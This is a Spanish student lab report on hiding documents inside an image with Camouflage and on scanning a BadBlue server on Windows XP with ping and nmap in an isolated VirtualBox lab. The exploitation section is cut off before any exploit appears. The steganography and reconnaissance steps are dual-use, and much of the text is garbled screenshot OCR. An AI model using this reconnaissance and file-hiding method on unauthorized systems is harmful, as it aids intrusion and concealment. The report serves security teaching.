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Introduccion
El presente informe documenta de manera clara y ordenada el proceso realizado en la
practica de laboratorio, donde se llevé a cabo la identificacion, analisis y explotacion de
vulnerabilidades en una maquina virtual objetivo (Windows XP con BadBlue) y, a la vez, la
aplicacion de técnicas de ocultacion de archivos usando el software Camouflage. Todas las
pruebas se ejecutaron dentro de un entorno de red configurado en VirtualBox, con maquinas

aisladas para garantizar que la actividad fuera segura y de caréacter exclusivamente académico.

Durante la practica se emplearon herramientas como Nmap (para reconocimiento y
enumeracion de servicios), searchsploit (para localizar exploits relevantes), scripts en Perl
obtenidos de repositorios de exploits, y utilidades como netcat para gestionar listeners y validar
post-explotacion. Paralelamente, se trabajé con VirtualBox para el montaje de carpetas
compartidas y con Camouflage para insertar y recuperar documentos dentro de imagenes,

verificando la integridad y el comportamiento de los artefactos generados.

El objetivo de esta actividad fue aplicar de forma practica los conceptos de
ciberseguridad ofensiva vistos en clase: reconocimiento activo de la red, identificacion de
servicios y versiones vulnerables, busqueda y preparacion de exploits, ejecucion controlada de
payloads y la extraccion de informacion en un entorno controlado. Todo el trabajo se realizo
siguiendo criterios éticos y con la autorizacion del docente, poniendo énfasis en la
documentacion de los pasos, la trazabilidad de las acciones y las recomendaciones para mitigar

los riesgos detectados.
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Alcance

El informe abarca un periodo de trabajo de cuatro dias, comprendido entre el jueves 2 de
octubre de 2025, finalizando ante dela clase siguiente, cuya fecha limite establecida para la
entrega oficial del documento fue el jueves 9 del mismo mes. Durante este tiempo se realizaron
las configuraciones de las maquinas virtuales en VirtualBox, la instalacion de las herramientas
necesarias (Nmap, Camouflage, searchsploit y netcat), la ejecucion de las pruebas de
reconocimiento, explotacion y ocultacion de archivos, asi como la recopilacion de evidencias
mediante capturas de pantalla, salidas de comandos y registros del proceso. Toda la informacién
obtenida fue organizada y sistematizada en este informe con el proposito de documentar el
procedimiento de manera detallada y servir como material de apoyo para futuras evaluaciones o

practicas similares.
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1. Objetivos
1.1.General
Realizar una prueba practica y controlada en un entorno académico virtualizado que
combine técnicas de ocultacion de informacion y auditoria de vulnerabilidades empleando el
software Camouflage para camuflar y recuperar archivos dentro de iméagenes, y aplicar
herramientas de reconocimiento y explotacion con Kali Linux del servidor BadBlue en
Windows XP, con el fin de identificar, documentar y proponer recomendaciones sobre las

debilidades encontradas.

1.2.Especificos

e Localizar exploits y scripts relevantes (por ejemplo mediante searchsploit), revisar
y adaptar el cddigo cuando sea necesario, y preparar el entorno de ejecucion
(listeners, rutas, permisos) para pruebas de explotacion controladas.

e Ejecutar el proceso de camuflaje: insertar documentos (PDF, Word) dentro de una
imagen con Camouflage, protegerlos mediante contrasefa, y verificar su
recuperacion (uncamouflage), documentando diferencias observables (p. ej.
tamafo de archivo).

e Llevar a cabo una explotacion controlada del servicio vulnerable (BadBlue)
unicamente en el entorno autorizado, documentando cada paso: comando usado,
salida obtenida, comportamiento del exploit y evidencias de éxito o fallo.

e Registrar y organizar todas las evidencias (capturas de pantalla, salidas de
comandos, archivos de configuracion y scripts), redactar hallazgos técnicos y

proponer medidas de mitigacion practicas (actualizacion, control de acceso.
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2. Planteamiento Del Problema
En un entorno cada vez mas digitalizado e interconectado, organizaciones, instituciones
educativas y usuarios particulares dependen en gran medida de sistemas informaticos que
ofrecen multiples servicios en red. Esta dependencia amplia la superficie de ataque, es decir, los
puntos potencialmente explotables por un atacante y, aunque las tecnologias avanzan, persisten
servicios con configuraciones débiles, versiones obsoletas o vulnerabilidades conocidas que, si

no se detectan y corrigen a tiempo, pueden ser aprovechadas con relativa facilidad.

En el contexto formativo, resulta esencial que los estudiantes consoliden los
conocimientos tedricos mediante practicas controladas que simulen escenarios reales. No
obstante, realizar ejercicios de analisis y explotacion sobre sistemas productivos reales plantea
riesgos legales, éticos y operativos. Por ello, el uso de entornos virtualizados (maquinas virtuales
aisladas y recursos como VirtualBox) y aplicaciones para la practica responsable (por ejemplo,
software de ocultacion de archivos y méaquinas vulnerables de laboratorio) se convierte en una

necesidad para la ensefianza segura de técnicas de ciberseguridad ofensiva.

A pesar de la disponibilidad de entornos de practica, se observa que muchos estudiantes
presentan dificultades para aplicar de manera correcta y metodoldgica las herramientas de
reconocimiento y explotacion: desde la configuracion de redes virtuales y el montaje de carpetas
compartidas, hasta la identificacion precisa de servicios vulnerables (por ejemplo, servidores
antiguos como BadBlue sobre Windows XP), la localizacion y adaptacion de exploits, y la
gestion segura de payloads y evidencias. Este desconocimiento puede generar practicas
incompletas, inseguras o poco replicables, que no cumplen con los objetivos educativos ni con

los estandares éticos del hacking de penetracion.
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Ademas, la incorporacion de técnicas complementarias como la ocultacion de
informacion dentro de archivos mediante herramientas tipo Camouflage introduce otro ambito de
analisis relevante para la seguridad digital: entender como se pueden esconder artefactos dentro
de objetos aparentemente inofensivos y como detectar o mitigar estas técnicas. La falta de
practica guiada en estos procedimientos limita la comprension integral de riesgos asociados a la

gestion de archivos compartidos y al control de acceso en entornos virtualizados.

En respuesta a estas carencias, este informe documenta de forma ordenada y practica un
ejercicio académico realizado en un entorno aislado: configuracion del laboratorio en
VirtualBox, transferencia e instalacion de herramientas, reconocimiento de la red y servicios
mediante Nmap, busqueda y preparacion de exploits con searchsploit, ejecucion controlada de
pruebas de explotacion sobre un servidor BadBlue en Windows XP y practicas de
camuflaje/descamuflaje con Camouflage. El propdsito es ofrecer una guia replicable que
fortalezca las competencias técnicas de los estudiantes, fomente metodologias seguras y éticas en
pruebas de penetracion, y sirva como base para propuestas de mitigacion que reduzcan la

exposicion a amenazas reales.
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3. Capitulo 1: Proceso para camuflar archivos por medio del software Camuflate
El dia jueves 1 de octubre de 2025, en la clase de auditoria de redes se estudio la forma de
camuflar archivos dentro de otros archivos, el siguiente informe mostrara el paso a paso que

seguimos para lograr este fin.

3.1.Activamos la carpeta compartida
Antes de comenzar a camuflar nuestros archivos debemos tener archivos, asi que lo
primero que hice fue activar una carpeta compartida, esta me permitiria poder pasar archivos de
mi maquina virtual xp a mi pc fisico y viceversa, asi que lo primero que hice fue crear una

carpeta

(] Nombre > Estado Fecha de modificacion  Tipo Tamafio

docu-mMv a 6/10/2025 12:24 p. m.  Carpeta de archi...

Figura 1. Creamos nuestra carpeta compartida

Luego de mi carpeta llamada docu-MV en mi pc fisico, me fui a la maquina virtual a
realizar el siguiente paso, esto es importante porque me permitird compartir distintos tipos de
archivo a mi maquina virtual Windows xp, ya que es el paso que vinculara esta carpeta a esa

maquina.

Lo segundo que hice fue ingresar en VirtualBox, ingresé mi maquina virtual cuando
estuve ahi me fui a la parte superior y en la configuracion de mi méaquina virtual le di al apartado

de dispositivos y luego carpeta compartida.



1do] - Oracle VirtualBox
Entrada Dispositivos  Ayuda

(=) Unidades épticas r
{82 Audio »
=P Red r
£ use r
[l carpetas compartidas »
[C] Portapapeles compartido r
[ZY Arrastrar y soltar »
& Insertar imagen de CD de los complementos del invitado...

7 Upgrade Guest Additions...

Figura 2. Configuramos la carpeta compartida en XP desde VirtualBox

Luego le di a preferencias de carpetas compartidas

] - Oracle VirtualBox
Entrada Dispositivos Ayuda

Unidades 6pticas »
Audio »
Red »
USB »

oD Dea&EE

Carpetas compartidas » Preferencias de carpetas compartidas...
Portapapeles compartido 4
Arrastrar y soltar [2

Insertar imagen de CD de los complementos del invitado...

SN

Upgrade Guest Additions...

Figura 3. Le damos en preferencias de carpetas compartidas

Después que le di clic a este apartado me sali6 en el apartado de configuraciones dentro
de mi méaquina de XP lo siguiente que hice fue bajar hasta la parte de carpetas compartidas y

aqui agregué la ruta de mi carpeta compartida
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{3 WINDOWS XP - Settings

Basic M Search settings &£

E General
Sistema
E‘ Pantalla

Almacenamiento
(D:' Frie Carpetas compartidas

Mombre Ruta Acceso Automontar  En =
@ Red Carpetas de la maquina

Carpetas transitarias
@ Puertos serie "

& use

D Carpetas compartidas

El Interfaz de usuario
Interfaz de usuario

Archive '™ Maauina ¥ Ver ¥ Fntrada ¥ Disnasitivos ¥ Denurar ™ Avuda ~ .l

Cancelar Ayuda

R

Figura 4.Afiadimos nuestra carpeta compartia en settings

Para afiadir mi carpeta compartida lo primero que hice fue agregarla en donde se
encontraba dicha carpeta en mi maquina fisica para ello le di en ruta de carpeta luego en otro lo

que me llevé a buscar la ruta en donde estaba la carpeta compartida

=) Afiadir carpeta compartida >

Ruta de carpeta: <no seleccionado= F

<no seleccionado=

Ea Otrao... |

Muestra una vent:

Mombre de carpeta:

ﬂ Punto de montaje:

[ sélo lectura
[ automontar

(] Hacer permanente

Aceptar Cancelar

Figura 5. Hacemos el proceso de agregar la ruta

La imagen anterior muestra como hicimos el proceso de agregar la ruta
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B4 seleccionar carpeta K
C - :
« v o « O se. » 3-Seguridasy .. ~ G Buscar en 3-Seguridas y ... 2
N
Organizar » Mueva carpeta = o
~
~ @ Victor Manuel, MNombre Estado Fecha de modificacion
> Archivos de ¢ ‘ docu-Mv ] 6/10/2025 12:24 p. m.
> CmapToolsLc informes [ 8/10/2025 11:13 p. m.
» Datos adjunt i

> @= Documentos |

~

> Grabaciones

> @ Imégenes

! Carpeta: docu-MV

Seleccionar carpeta Cancelar

Figura 6. Muestra de la carpeta que se encontraba en la ruta

La imagen anterior muestra la carpeta que se encontraba en la ruta
C:\Users\LOCOMPU\OneDrive - UNIVERSIDAD TECNOLOGICA DEL CHOCO
DIEGO LUIS CORDOBA\Escritorio\9 semestre\3-Seguridas y Auditoria de redes\docu-

VM, esta fue la carpeta qué creamos inicialmente para que fuese nuestra carpeta compartida

() WINDOWS XP - Settings = m] % 1
Basic M Search settings £
E General
Sistema
@ Pantalla
Almacenamiento
Carpetas compartidas
@0 audio =
Nombre Ruta Acceso Automontar En @
@ Red Carpetas de la maquina
~  Carpetas transitorias r=)
@ Puertos serie docu-MY__ C:\Users\LOCOMP..itoria de redes\docu-MV_Completo
l___l Carpetas compartidas
El Interfaz de usuario
Interfaz de usuario
Archive ¥ MAmiina ¥ Ver ¥ Fntrada ¥ Disnositivas ¥ Denurar ¥ Awida ¥ a
Cancelar Ayuda I
i

Figura 7.Ruta agregada Exitosamente

aqui muestro la carpeta con su ruta y luego de hacer esto le dimos a aceptar para guardar

nuestra ruta



&3 Afadir carpeta compartida >

Ruta de carpeta:  C\User.. redes\docu-Mv

Mombre de carpeta: docu-My

Punto de montaje:

[ sélo lectura
B rutomontar

@ Hacer permanente

Aceptar Cancelar

Figura 8. Visualizacion preliminar de lo hecho y aceptacion de la ruta

Luego de darle aceptar me salié lo que muestra la anterior figura lo que se hizo fue
automontar esta carpeta y le dimos en hacer permanente luego presionamos el boton de aceptar,

el apartado de punto de montaje lo dejamos en blanco.

3.2.Agregamos la carpeta a XP desde mi pc

S\ Internet J\ Mis documentos
Internet Explorer

. _— 5 bDocumentos recientes »
@ Correo electrénico

Outlook Express ﬁ Mis imagenes

- SR
CEW Simbolo del sistema =/ Mi masica
WE mirc
.

@ Panel de Proporciona acceso e informacion acerca de unidades de disco, camaras,
@ Reproductor de Windows

escaneres y otro hardware conectado a su equipo.

Media Configurars oy
programas predeterminados
'@ Paseo por Windows XP hoty 3
{2 Impresoras y faxes

5 Asistente para transferencia .
de archivos v configuracio. .. @ Ayuda y soporte tecnico

3 BadBlue Personal Edition I) Buscar

7~ Ejecutar...

Todos los programas D

@]Cervar: ion '(D|;'4pagarequip.:.

/> BadBlue: the file-shar... e CIWINDOWSisyste. .,

7

+4 Inicio

Figura 9. Ingresamos al apartado de mi pc en XP
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Para poder ver la carpeta compartida fui a inicio, después al apartado mi PC para luego
ver las unidades de disco duro y los dispositivos de almacenamiento extraible qué estaban en mi

maquina virtual de XP.

Archivo  Edicion  Ver Favoritos  Herramientas  Ayuda a.
Q Atrés -\_/\1 l’i p Bisqueda u_i‘ Carpetas v
Direccion ﬂ Mi PC v‘ &

Archivos almacenados en este equipo
Tareas del sistema

ver informacidn del sistema ‘j Documentos compartidos IJ Documentos de Yeco
l‘, Agregar o quikar programas L |

(B Cambiar una configuraciin
Unidades de disco duro

Otros sitios .
W Disco local {C:)
& Mis sitios de red

() Mis documentos
[C3) Documentns compartidos Dispositivos con almac iento extraible

3 Panel de contral o
% WirkualBox Guest Additions (D)

Detalles

MiPC
Carpeta del sistema

+s Inicio tul B &)T 1m0s

Figura 10. dispositivos de almacenamiento extraible

Si bien el apartado de mi PC mostrar varios campos el que me interesaba realmente era el
de dispositivos de almacenamiento extraible aqui no sali6 el dispositivo llamado virtual box
guest addtions (D: ) En este dispositivo se encontraba nuestra carpeta compartida por lo que

procedemos a darle doble clic.
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B
& x|

/'3 Blsqueda LL’ Carpetas v

Direccién Oracle VirtualBox Guest Additions 7.1.12 Setup = :’ Ir
Toreas'del sistema Welcome to Oracle VirtualBox Guest
Ver informacién del s Additions 7.1.12 Setup
T Agregar o quitar pro
(3 Cambiar una configul

Setup will quide you through the installation of Oracle
VirtualBox Guest Additions 7.1.12.

Itis recommended that you close all other applications
before starting Setup. This wil make it possible to update
relevant system files without having to reboot your
computer.,

Otros sitios

N His sitios de red
() Mis documentos

[ Documentos compart Click Next to continue.

B Panel de control

Detalles

MiPC
Carpeta del sistema

+4 Inicio Oracle YirtualBox Gue. ., B &)¢ 1907

Figura 11. Configuramos la carpeta como disco extraible

Al darle doble clic me sali6 el siguiente pestafia dandonos la bienvenida Oracle

VirtualBox actions setup aqui le dimos en el boton de next.

EBX
| Archivo  Edién Ver Favortos Herramientas  Ayuda
1 Qe © (¥ Ooisauds [ copetes | [T~

Direccion | i MipC

Archivos almacenados en este equipo
Tareas del sistema

Ver informacién del sistema U Documentos compartidos U Documentos de Yeco
4 Agregar o quiar programas

[ Combiar una configuracin
Unidades de disco duro

Otros sitios

@ Disco local (€)
& i sitios de red

Mis documentas
() Decumertos compartidos Dispositivos con almacenamiento extraible

@ Panel de contral
"g VirtualBox Guest Additions (D)

Unidades de red

i docu Y en VxS (2:)

Detalles

MiPC
Carpeta del sistema

Figura 12.Nos salio la unidad donde esta nuestra carpeta docu-VM

Después de un rato de que cargara esto no salio la unidad donde estd nuestra carpeta
docu-VM, por como lo veo yo esto es un tinel de red que nos permite compartir archivos desde

una carpeta a otra nuestra maquina virtual por medio de una conexién de red.



3.2.1 Agregamos archivos a la carpeta Compartida
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Después de realizar este paso a paso probamos anexar archivos a XP, luego revisamos

que los archivos anexados a nuestra carpeta compartida hoy se pudieran descargar desde hoy

nuestra maquina virtual.

docu-MV

< ™ &}

@ MNuevo

> @=M Escritorio

» Grabaciones
> @ Imégenes

» trabajos

Desktop |

]

. +
@ Error > Escritorio >
Tl Ordenar
Nambre Estado
Clase 2 Oct 2025 [}
E config-MV.txt [x]
descargar.png [}
@ Informe de laboratorio #05 Semes.. @
@ Informe de laboratorio #05 Semes... @

9 semestre >

= \er
Fecha de modificacién  Tipo

10420
/1020

ra
o

29/09/2025 1:47 a. m.

28/09/2025 1:47 a. m.

Figura 13. Agregamos lo Archivos

3-Seguridas y Auditoria de redes >

Carpeta de archi...
Documento de t...
Archiva PNG
Documento de ...

Microsoft Edge ...

docu-MV >

Tamafio

Siendo mas especifico en la carpeta docu-MV agrega 6 archivos hubo una carpeta

llamada clase dos octubre 2025, un archivo tipo texto llamado config-MV, una imagen llamada

descarga y dos informes 1 en formato Word editable y otro en Formato PDF.

Clase 2 Oct 2025

¢ T

@ Nuevo

> gl Escritorio

> Grabaciones
> @M Imégenes

> trabajos

Desktop

4 Descargas

& @ Error >

® +

9 semestre

O MNombre

B 2.0 AdbeRdra0_en_US.exe
T badblue-pe-2.72a.exe

E@ Camoul2i.exe

internet-explorer-8-para-xp-.exe

A vlc-3.0.18-win32.exe

> 3-Seguridas y Auditoria de redes >
T Ordenar = Ver

Estado Fecha de modificacion = Tipo

>} 9/06/2023 533 p. m Aplicacién
>} 7/11/2022 407 p. m.  Aplicacién
] 26/05/2022 325 a. m.  Aplicacién
>} 9/10/2023 11:38 a Aplicacién
>} 28/12/2022 1:03 p. m.  Aplicacién

Figura 14. Archivos dentro de la carpeta Clase 2 octubre

docu-MV > Clase 2 Oct

Tamafo



Por su parte, la carpeta clase dos octubre 2025 contaba con 5 archivos de los cual se

destacaba Adobe Flash player, Internet Explorer 8 para XP, VLC Studio, camou y badblue.

= docu-MY en “VBoxSvr” (Z:)

Archivo  Edicion  Wer  Favoritos  Herramienkas  Awuda

@Atrés - e - Lﬁ pBL'lsqueda H__" Carpetas v

Direccidn | S8 ;4

~ = canfig-fy
Tareas de archivo y carpeta ~ —=| Daocumenta de texto
= OKE
Iﬂ Cambiar nombre a esta carpeta
@ Mower esta carpeta descargar '~ Informe de laboratorio #05
. 1024 = 1536 Semestre I¥ Vickor Manuel Lon. ..
Copiar esta carpeta Imagen PMG howe Pdabe Acrabat Document

@ Publicar eska carpeta en Web
Informe de laboratorio #05
Semestre Ix Yickor Manuel Lon, ..
Archivio DOCE

Ej Enviar par correa electranica los
archivos de esta carpeta

x Eliminar esta carpeta

Figura 15. Buscamos los archivos en XP

Para poder mirar estos archivos desde nuestro otra maquina virtual de Windows XP
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debemos ir a mi PC y ingresar a el almacenamiento de red que ¢l donde estd almacenada nuestra

carpeta compartida la foto anterior muestra los archivos desde Windows XP en la carpeta docu-

VM.

™ Clase 2 Oct 2025 EE)

Archiva  Edicidn  Ver Favoritos  Herramientas  Ayuda a‘

e.ﬂ\trés -Q l,ﬁ; pﬁasqueda [Py cametas | [T~

Direccién | 29 z:\Clase 2 Oct 2025 ~ Br
5.0_Adberdr80_en_US -jga badblue-pe-2.72a
‘:'_" Crear nueva carpeta =

e Publicar esta carpeta en Web = inkernet-explorer-8-para-=p-
Camoulzi Archivo.cab autoesxtraible
Microsoft Corporation

Dtros sitios L)

] vIc-3.0.18-win32
S docu-MY en VoS (21) a

(5 Mis documentos

Tareas de archivo y carpeta

() Documentos compartidos
i MipC
& Mis sitios de red

Detalles

Figura 16. Programas contenidos en la carpeta dada por el profe



23

Por otro lado, esta imagen muestra los archivos de la carpeta clase 2 de octubre En
Windows XP aqui evidenciamos que todo funciona correctamente y la carpeta de archivos

compartidos muestra los archivos que en su efecto se estan compartiendo.

3.3.Instalacion de programas importados desde el pc fisico incluido camouflage
Ya habiendo importado los programas de la carpeta clase dos procedemos a instalarlos 1 a
1 estos programas fueron proporcionados por el docente e ingeniero Sandoval Morales y ¢l

mismo nos solicitd qué los instalar por lo que procedi a instalarlos.

Figura 17. Instalamos Adobe Render

El primer programa que instale fue Adobe render o Flash Player ya que éste se podria
decir que es el predecesor de Adobe flash player por eso esta imagen anterior muestra parte de

esa instalacion.

Welcome

Welcome to the Camauflage Setup program. This
progiam will install Camouflage on your computer

Itis stiongly recommended that you exit all Windows programs
before running this Sefup program

Click Cancel to quit Setup and then dlose any programs you
have unring. Cick Next to continue vith the Setup progiam.

WARNING: This pragiam is protected by copyright law and
international heaties.

Unauthorized reproduction ar distrbution of this prograr, o any
poition of it may resul in severe civiland criminal penaltes. and
will be prosecuted o the maximum extent possible under law.

Figura 18. Instalamos Camouflage
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Por su parte esta captura muestra la instalacion de nuestro aplicativo de camuflaje en la
computadora virtual, este sera el aplicativo que nos permitira camuflar datos dentro de otros
archivos y consideraria yo qué seria uno de los 2 aplicativo més importante de los que se

instalaron.

Abrir archivo - Advertencia de seguridad rX|

21
Mo se puede comprobar el fabricante. ;Esta seguro de que
desea ejecutar este software?

e Mombre: vlc-3.0.18-win32.exe
Fabricante: Fabricante desconocido

Tipa: Aplicacidn

De: Z:4Clase 2 Ock 2025

Ejecutar ][ Cancelar

Este archivo no tiene ninguna firma digital valida que comprusbe su
fabricante. Sdlo ejecute software de loz fabricantes en los que

confia. ¢Cdmo puedn decidi qué software debo ejecutar?

Figura 19. Instalamos VLC y los otros software faltantes.

Por ultimo, instalamos lo que vendria siendo el software del VLC, el software de badblue

y de Internet Explorer.

3.4.1dentificacion de la cantidad de archivos que podemos camuflar en camou

3.4.1 ;Como se hace el proceso de camuflaje con Camouflage?

Enviar a
Cortar
Copiar

Crear acceso directo
Eliminar
Cambiar nombre

Propiedades

Figura 20. Elegimos Los archivos a camuflar
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Lo primero que tenemos que saber es como se realiza el camuflaje de archivos dentro de
distintos archivos en camou, para ello lo que hicimos fue realizar una practica en el salon que
consistio en tomar la imagen que guardamos en la carpeta compartida y dentro de esta hola
imagen guardamos los dos informes tanto en formato PDF como en formato Word editable tal

como lo muestra las siguientes imagenes.

Lo primero que hicimos fue seleccionar los dos archivos tanto en Word Como en PDF ,
estos archivos correspondeme al informe niimero 5 realizado luego de esto le dimos en siguiente

0 next.

Camouflage

Thesze filez will be hidden within pour camouflaged file.

M ame
i Infarme de laboratonio #05 Sermes char Manuel L. 5617 KB
| Informe de laboratonio $05 Sermestre [ Wictor Manuel L. 23 KB

Click here to get the latest verzion Mext > Cloze

Figura 21. Le damos en Next

Después de darle next, No sale el siguiente recuadro aqui elegiremos el archivo en donde
se camuflaran los archivos anteriormente elegidos, yo elegi la imagen que guardamos

inicialmente dentro de la carpeta compartida.
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Camouflage

Chooze the location and filename for the camouflage file that i about to be created.

Create Thiz File ttingsh v ecohE scritorinhCaptura de pantalla 2025-08-23 030355

¥ Fead-only

Click here to get the latest version < Back I Mest > | Cloze

Figura 22. Agregamos la ruta en donde se va a camuflar

Luego se nos solicita ingresar una contrasefia para este caso la contraseifia sera la palabra

prueba

% Camouflage

Enter a security password for your camouflaged file if you wish.

Password

Verify Password

Click here to get the latest version < Back Finish Close |

Figura 23. Configuramos la contraseria

Por ultimo, al ingresar la contrasefa y darle al finalizar dos saldra un archivo o una
imagen en formato png, la cual tendra camuflado los anteriores archivos para des camuflar estos

archivos haremos lo siguiente.



para descargar los archivos simplemente tendremos que darle en el izquierdo y al

Captura de
pantalla
1=

Figura 24. Descamuflamos los archivos
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apartado de camuflar luego se nos creara una carpeta en la cual estardn anexados los dos archivos

no 13 que si bien hoy los archivos estan camuflados en dicha imagen se puede identificar ya que

el peso de la imagen tiende a aumentar.

Aqui haremos una demostracion entre la imagen original y la imagen con los archivos

camuflados

Qi Caphara da pantaly 2005-00-29 00056
Tpo de archwvo. Ireagen PG

S0 sbre con: 5] Veor demibgeom y | Cambiar
Licackin: CADoosments and Settings) Yeco\Escrbond
Tarnadie: 0,77 M8 (3.199.707 bytes)

Tamado en dsco 8,77 MB (9.203.712 bytes)

Creado poeves, 02 de octubre de 2025, 16:30:35
Modiicado viernes, 29 do agoato de 2005, 160055
URimo accesa pueves, 09 de octubee do 2025, 913623
ferbutos:  [V]Séo lechra [T Ocuke Fopconns avanaades. .

| e

Ccosr ] [concuv )

Figura 25. Demostracion entre la imagen original y la imagen con los archivos camuflados

Ademas, Mostraré la imagen en donde se descamuflan los archivos antes camuflados.

" Propiedades de Captura de pantalis 2025-08-29 090

Caphura de partalls 20250029 090355

Too de wchivo: Fragen NG

Se sbre con: &) Veor de msgenes y Cambiar,
Lbicaoder CiPoosrmrts and Settngd Yecolf sortoro
Tans'o 04,5 KD (96,550 brytes)

Tamao en desco: 85,0 KB (50.112 bytes)

Creado; yorves, 02 de octubre de 2025, 16:20:36
Mediicado. viernes, 29 do agosto de 200S, 160555

Litimo accesa porves, 09 de octubre de 0%, 9:3%:11
Atrbutos [C5dk actara [Joake tvun;n; mw;h;Q

. [R)R)
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3.5.Descamuflamos los archivos

Yista previa
Editar
Irnprimir

« B8 Camouflage
EaUncamouflage
Abrir con

Enviar a

Cortar
Copiar

Crear acceso directo
Eliminar
Cambiar nombre

Propiedades

Figura 26. Darmos clic izquierdo a la imagen y darle en la opcion uncamouflage.

El primer paso para el descamuflar es darle clic izquierdo y darle en la opcion

uncamouflage.

Select an output folder

Guardar en: r@ Escritorio

DMis documentos zlnforme de
a Mi PC Informe de
Documentos S is sitios de red Fnternet

e u Adobe Reader 8

@ Eﬁ YLC media player
() archivos

Escritorio () practica_laboratorio_3
= (CJUTCH-PRIVIL

(/) B8 5.0_adberdrs0_en_US
. = BadBlue Personal Edition
@ Camoul21 he folder where the files are to be extracted.
= BCaptura de pantalla 2025-08-29 090355
: E]Captura de pantalla 2025-08-29 090356 -
) config-My o Folder archi
E] descargar

<& I >

Mis documentos

Mis sitios de red  Nombre: IExlract files here L' Guardar
| ~| Cancelar

7

< Back FEinish Close

3.0_AdbeR.

Figura 27. Elegir el folder o la carpeta en donde queremos almacenar nuestros archivos
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Luego que se nos abra el cual recuadro para elegir el folder o la carpeta en donde
queremos almacenar nuestros archivos ¢l es El Mundo la carpeta de destino que querramos para

mi casa yo cree una nueva carpeta llamada archivos.

=]
archivo  Edicion  Wer  Favoritos  Herramientas  Ayuda |".'
Y AN &) o T
\_) \J l.@ P Busqueda l{__ arpetas
Direccion || C:iDocuments and Settings!y¥ecolEscritariol archivas b | Ir

207 x 401 . Adobe Acrobat Document

) ~ Captura de pankalla 2025-08-29 '~ Informe de laboratorio #05
Tareas de archivo y carpeta = ‘ 090355 Semestre I¥ ickor Manuel Lon...
hdobe

J Crear nuewva carpeta
% Informe de laboratorio #05
Semestre I: Wictor Manuel Lan, .,
===1 | Archivo DOCE

@ Publicar esta carpeta en Web
E}’ Cornparkit eska carpeta

Figura 28. por ultimo le doy hola guardar, luego finalizar y nuestros archivos anexaran a esta carpeta

por ultimo, le doy hola guardar, luego finalizar y nuestros archivos anexaran a esta
carpeta es importante saber que para el descamuflar los archivos de veremos utilizar la

contrasefia de qué configuramos o creamos anteriormente.

Tabla N 1. cuantos archivos de cada tipo caben en camouflage

Tamano  JPG (500 Word (100 PDF (1000 EXE (50

Archivos (KB) KB) KB) KB) 000 KB)
PNG/ JP.G (imagen 2 000 4 20 2 0
mediana)
GIF animado / PDF 5000 10 50 5 0
grande
MP3 (audio) 10 000 20 100 10 0
EXE (ejecutable 50 000 100 500 50 1
grande)

MP4 (video) 100 000 200 1 000 100 2
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4. Capitulo 2: Hacking ético de badblue
Antes de comenzar con cualquier intento de explotacion, necesitaba asegurarme de que la
maquina objetivo estuviera activa y accesible desde mi entorno de ataque. Asi que lo primero que
hice fue abrir mi terminal en Kali Linux y ejecutar el comando ping 192.1.1.7 este paso puede
parecer basico, pero es fundamental. Me permitié confirmar que la maquina con la IP 192.1.1.7

estaba encendida y conectada a la red.

4.1.1dentificamos la IP y los servicios vulnerables de la maquina

4.1.1 _Proceso de recopilacion de informacion

Z root(@kali: fhomefkali

Session Acciones Editar Vista Ayuda

Jhome/kali

-

PING 192.1.1.7

41 ms
a7 ms

1
bytes from 7
bytes from .7
bytes from 2.1.1.7: i : ] time=1.11 ms
bytes from 7 819 ms
bytes from 7
bytes from 7

Figura 29. Probamos la comunicacion dando ping de una maquina a otra

Una vez confirmé que la maquina objetivo estaba activa, lo siguiente que necesitaba era
saber qué mas habia en la red. Asi que abri mi terminal en Kali y lancé un escaneo con Nmap
utilizando el comando nmap -sV 192.1.1.0/24 este comando me permiti6 escanear todo el rango
de IPs de la red local y ademas identificar qué servicios estaban corriendo en cada maquina. El
pardmetro -sV es clave, porque no solo me dice qué puertos estan abiertos, sino también qué

servicios estan detras de ellos.
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/home/kali

Nmap scan repor

Host is up (@
Not shov 99
PORT

open

Nmap scan
Host is up (

Not shown:

'tcp open

open

ponse)

indows RPC

SOAP)

 virtu,

msrpc

Figura 30. Hacemos un escaneo general con nmap

Los resultados fueron interesantes, pero lo mas importante fue 192.1.1.7: esta maquina

tenia el puerto 80 abierto, y el servicio que aparecia era BadBlue http. Justo lo que estaba

buscando.

scan
up
shown:

ap
Host is
Not

(¢

open
open
open
open

MAC Addre
Info:

/home/kali

995
STATE

indows_

1 IP address (1 host up)

tion performed.
seconds

/home/kali

Figura 31. Hacemos un escaneo a la ip de XP
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Después de identificar la IP del objetivo, ejecuté un escaneo con Nmap directo a la ip
192.1.1.7 usando el comando nmap -sV 192.1.1.7. El resultado confirm6 que la maquina corre
Windows XP y tiene varios puertos abiertos, incluyendo el 80, donde se encuentra activo el
servidor BadBlue httpd 2.7. Esta informacion es importante, ya que me permite saber que

ataques podrian ser efectivos y confirma que el servidor vulnerable esté listo para ser analizado y

explotado.

4.2.Verificamos que el servicio BadBlue si este activo

‘g 127.0.0.1 | L~

- A
Archiva  Edicién  Ver Favaoritos  Herramientas  Ayuds
1l Favoritos | 5k 2] Sitios sugeridos & | Hotmail gratuits &

Pagina » Seguridad ~  Herramientas » @.

file seard (Gel Share your Excel

spreadsheets over" ¥

invoices), by file extension (jog, mp3, xis,

...)or wwt’h multiple words (phot;) aIbr.;m ! the WEb' FaSt'
would match all files that include the words

photo and album).

Search using a partial word (inv matches

Enterprise Edition

b
| @

[ € meermet H100% v

€ BadBlue

Figura 32. Verificamos que el servicio este arriba

Lo siguiente que hice fue verificar que el servicio de BadBlue estuviera funcionando
correctamente. Para eso, ingres¢ a la maquina virtual con Windows XP y ejecuté el software
BadBlue, que ya habiamos instalado previamente cuando configuramos la carpeta compartida

llamada docu-VM.
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e 192.1.1.7

oy Favortos | i 2] sitios sugeridos ~ ] Hotmail gratuito &)

22|+ | @ radBlue: the fie-sha.., | € Badblue: the fle-.. = g - Pagina~ Seguridad ~ Herramientas - @)+

Share your Excel
S o = el o (e s spreadsheets over
invaices), by fils sxtension (jpg, mp3, xis,

...) or with multiple words (shato album the web. Fast.

would match all files that include the werds
photo and album).

3

| >
[ € Internet 43 - Rioow -

Figura 33. Probamos y acceder con http.://192.1.1.7

Al abrir el navegador y acceder a http://192.1.1.7, pude ver la interfaz web del servidor
BadBlue activa. Esto me confirmé que el servicio estaba corriendo localmente y que los archivos
compartidos desde la carpeta estaban disponibles para ser accedidos o manipulados desde el
navegador. Con esto, ya tenia todo listo para comenzar la fase de andlisis y explotacion del

servidor.

4.3.Comenzamos el proceso de explotacion especifico

/home/kali

HTTP/1.1 200 OK
Server: BadBli
Content-Type:
Accept-Range

Date: | !

ETag: "3

Last-Mod
Content-Length:
